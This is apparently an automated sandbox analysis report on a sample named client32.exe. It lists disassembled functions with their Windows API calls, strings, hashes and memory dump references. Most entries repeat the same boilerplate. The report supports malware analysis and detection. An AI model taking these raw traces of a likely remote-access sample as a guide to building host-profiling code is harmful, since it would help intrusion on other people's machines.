Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Event$Create$__wcstoi64_malloc_memsetwsprintf
String ID: Client$DisableGeolocation
API String ID: 3315423714-4166767992
Opcode ID: a2dd62344aa7ed2eba45e03fd0b01f9a1bb13e0d2f8602a6c4817aeae004d655
Instruction ID: 1755caac6fc2658334c1ed2ebc8622a08952aff54e10c128aab6c20125b970ec
Opcode Fuzzy Hash: a2dd62344aa7ed2eba45e03fd0b01f9a1bb13e0d2f8602a6c4817aeae004d655
Instruction Fuzzy Hash: 8521E474A40315BBE712CFA8CD42B6EF7A4E708B18F500269F921AB3C0D7B5B8008785

Function 110271B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110271DA

Part of subcall function 110CD550: EnterCriticalSection.KERNEL32(00000000,00000000,76963760,00000000,7697A1D0,1105DCBB,?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD56B
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CD598
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CD5AA
Part of subcall function 110CD550: LeaveCriticalSection.KERNEL32(?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5B4

TranslateMessage.USER32(?), ref: 110271F0
DispatchMessageA.USER32(?), ref: 110271F6

Strings

Exit Msgloop, quit=%d, xrefs: 1102722D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSend$DispatchEnterLeaveTranslate
String ID: Exit Msgloop, quit=%d
API String ID: 3212272093-2210386016
Opcode ID: 4c35fe21e6f1fdccfd242282fb0e51879004b37df93db9ac228ac0a7d4dc8e25
Instruction ID: 083e85bce0718499e1b375aadfda5de5654481b636091be3423b85693ac47093
Opcode Fuzzy Hash: 4c35fe21e6f1fdccfd242282fb0e51879004b37df93db9ac228ac0a7d4dc8e25
Instruction Fuzzy Hash: 3D01D876E0521D66EB15DAE99C82F6FF3BD6B64718FD00065EE1092185F760F404CBA1

Function 110173F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110173FD

Part of subcall function 11017300: WaitForSingleObject.KERNEL32(000002D8,000000FF), ref: 1101733C
Part of subcall function 11017300: CoInitialize.OLE32(00000000), ref: 11017345
Part of subcall function 11017300: _GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101736C
Part of subcall function 11017300: CoUninitialize.COMBASE ref: 110173D0

Part of subcall function 11017220: WaitForSingleObject.KERNEL32(000002D8,000000FF), ref: 11017252
Part of subcall function 11017220: CoInitialize.OLE32(00000000), ref: 1101725B
Part of subcall function 11017220: _GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017282
Part of subcall function 11017220: CoUninitialize.COMBASE ref: 110172E0

SetEvent.KERNEL32(000002D8), ref: 1101741D
GetTickCount.KERNEL32 ref: 11017423

Strings

touchkbd, systype=%d, chassis=%d, took %d ms, xrefs: 1101742D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountInitializeObjectSingleStringTickUninitializeW@16Wait$Event
String ID: touchkbd, systype=%d, chassis=%d, took %d ms
API String ID: 3804766296-4122679463
Opcode ID: 66f2a400a49d4a3db1117531ae3dbc6183e4453ddcab9e324682772d92ed33ab
Instruction ID: c54e938b4ab1921e6220328725fe5e45cb955b1045b44cf9de438437e8313787
Opcode Fuzzy Hash: 66f2a400a49d4a3db1117531ae3dbc6183e4453ddcab9e324682772d92ed33ab
Instruction Fuzzy Hash: 47F0A0B6E1011C6BE700DBF9AC8AE6BBB9CDB4471CB100026F910C7245E9A6BC1087A1

Function 111377F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

CreateThread.KERNEL32(00000000,00001000,Function_00137630,00000000,00000000,11138782), ref: 1113782E
CloseHandle.KERNEL32(00000000,?,11138782,AutoICFConfig,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11137835

Strings

Client, xrefs: 1113780C
*AutoICFConfig, xrefs: 11137807

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread__wcstoi64
String ID: *AutoICFConfig$Client
API String ID: 3257255551-59951473
Opcode ID: 58a92f72c8c5fc2ca777e547e4c7fef86ef2c1d8c64fc3a44eb11c2425719861
Instruction ID: 9aee7181833ba8711af7cecc10eced9f2f0784297ad8accf53734ae3fbf9e9e1
Opcode Fuzzy Hash: 58a92f72c8c5fc2ca777e547e4c7fef86ef2c1d8c64fc3a44eb11c2425719861
Instruction Fuzzy Hash: 98E0D8757A062D7AF6149AE98C86F65F6199744B26F500154FA20A50C4D6A0A440CB64

Function 11070C60 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000000FA), ref: 11070CB7
EnterCriticalSection.KERNEL32(?), ref: 11070CC4
LeaveCriticalSection.KERNEL32(?), ref: 11070D96

Strings

Push, xrefs: 11070C86

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Push
API String ID: 1566154052-4278761818
Opcode ID: a72291858ce6dc6b0c64ae6c986eadc989c908336576dbf916d062231e355c4c
Instruction ID: e8f6e055aac827a13dfabc2dec6ad808bd843e21556e42594c7620890779e76f
Opcode Fuzzy Hash: a72291858ce6dc6b0c64ae6c986eadc989c908336576dbf916d062231e355c4c
Instruction Fuzzy Hash: 1B51CC78E04784DFE721DF64C880B8AFBE0EF09318F1546A9D8998B285D770BC84CB91

Function 110306E7 Relevance: 6.0, APIs: 4, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000001F4), ref: 110306FC
CloseHandle.KERNEL32(?), ref: 11030709
FreeLibrary.KERNEL32(?), ref: 11030714
CloseHandle.KERNEL32(00000000), ref: 1103071B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLibraryObjectSingleWait
String ID:
API String ID: 1314093303-0
Opcode ID: 7d2e314c4a79abf06013014507abe82da34b4e69185c6a4a9ad4d68e1235ff59
Instruction ID: 8e76f7fb4e107f93cb89770177b2081f40004907d07b5dfd0c3c9c847909df3d
Opcode Fuzzy Hash: 7d2e314c4a79abf06013014507abe82da34b4e69185c6a4a9ad4d68e1235ff59
Instruction Fuzzy Hash: A7F08135E1425ADFE714DF60D889BADF774FB88319F0002A9D82A52180DF355940CB50

Function 11143C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\bpsFyf\client32.exe,00000104,?,11143E73,?), ref: 11143C49

Strings

C:\Users\user\AppData\Roaming\bpsFyf\client32.exe, xrefs: 11143C34, 11143C42

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe
API String ID: 2251294070-2235949226
Opcode ID: 723324e2a123dfbea80ddcbfb8a880b064ecb9608f963ee43b1e571dd00f4a9e
Instruction ID: b9aa28b4973dc8f7500fb142756b1fa860f28402029a3e5f5efe4e67c4e883a6
Opcode Fuzzy Hash: 723324e2a123dfbea80ddcbfb8a880b064ecb9608f963ee43b1e571dd00f4a9e
Instruction Fuzzy Hash: F811E7747282235BE7149F76C994719F7A5AB40B5DF20403EE819C76C4DB71F845C744

Function 1110F4A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1110F4A9

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

_memset.LIBCMT ref: 1110F4D2

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\Refcount.cpp, xrefs: 1110F4BC

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateErrorExitHeapLastMessageProcess_malloc_memsetwsprintf
String ID: ..\ctl32\Refcount.cpp
API String ID: 2803934178-2363596943
Opcode ID: 1dad7423e7d09c371aaf82e5f4f0c79299b8a2cfda0255715acc90ffe98602aa
Instruction ID: 747f5be640ff5df7f7be77ac0748be8e5b1ae2afb2ba592a3adef8646797d69b
Opcode Fuzzy Hash: 1dad7423e7d09c371aaf82e5f4f0c79299b8a2cfda0255715acc90ffe98602aa
Instruction Fuzzy Hash: B5E0C23AE4013933C112258A2C03FDBF69C8BD19FCF060021FE0CAA201E586B55181E6

Function 11014FD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000,00000001,1102EFB6,MiniDumpType,000000FF,00000000,00000000,?,?,View), ref: 11014FE7
CloseHandle.KERNEL32(00000000,?,?,View,Client,Bridge), ref: 11014FF8

Strings

\\.\NSWFPDrv, xrefs: 11014FE2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: f0badf7843dd101c9c7a596aad23f33c11cadc83e0c29f65da520d4fe63b43e1
Instruction ID: 0b573536b28af4079515d3142ca801f5deca53cbeb6a996f0a1660ae0aa1d84a
Opcode Fuzzy Hash: f0badf7843dd101c9c7a596aad23f33c11cadc83e0c29f65da520d4fe63b43e1
Instruction Fuzzy Hash: A9D0C971A051387AF23416B66C4CFC7AD09DF06BB5F210264B53DE11D886104C41C2F1

Function 1115BDE0 Relevance: 4.7, APIs: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1115BE03

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 9cedd041eecb3df7698fbc33d80b44fc007d69f78d2f5524ab9bd2bf2492814b
Instruction ID: 0024421513bb2e1abb717dbf2ce3cdefbb73aa1ee3cdb3a5feae03928f974db8
Opcode Fuzzy Hash: 9cedd041eecb3df7698fbc33d80b44fc007d69f78d2f5524ab9bd2bf2492814b
Instruction Fuzzy Hash: 8C519E7560020AAFDB50CF68CC81FAAB7A6FF8A704F148459F929DB280D771E901CF95

Function 11111430 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111145A
__wsplitpath.LIBCMT ref: 11111475

Part of subcall function 11169044: __splitpath_helper.LIBCMT ref: 11169086

GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111114A9

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DirectoryInformationSystemVolume__splitpath_helper__wsplitpath
String ID:
API String ID: 1847508633-0
Opcode ID: 7498e584b69856d4904a5e87c0faea6464729445070a8fc0c411536d822b12a4
Instruction ID: 71a9510f599fa1c136cb45ff21797ad5c5790827a759e4d2b52c0b71367846c8
Opcode Fuzzy Hash: 7498e584b69856d4904a5e87c0faea6464729445070a8fc0c411536d822b12a4
Instruction Fuzzy Hash: 34116175A4021DABEB14DF94CD42FE9F378AB48B04F404199E7246B1C0E7B12A48CB65

Function 1109E9E0 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA01
OpenProcessToken.ADVAPI32(00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA08

Part of subcall function 1109E910: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,1102FCB2,?,00000000), ref: 1109E948
Part of subcall function 1109E910: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109E964
Part of subcall function 1109E910: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,013808B8,013808B8,013808B8,013808B8,013808B8,013808B8,013808B8,111EEB64,?,00000001,00000001), ref: 1109E990
Part of subcall function 1109E910: EqualSid.ADVAPI32(?,013808B8,?,00000001,00000001), ref: 1109E9A3

CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 1109EA27

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
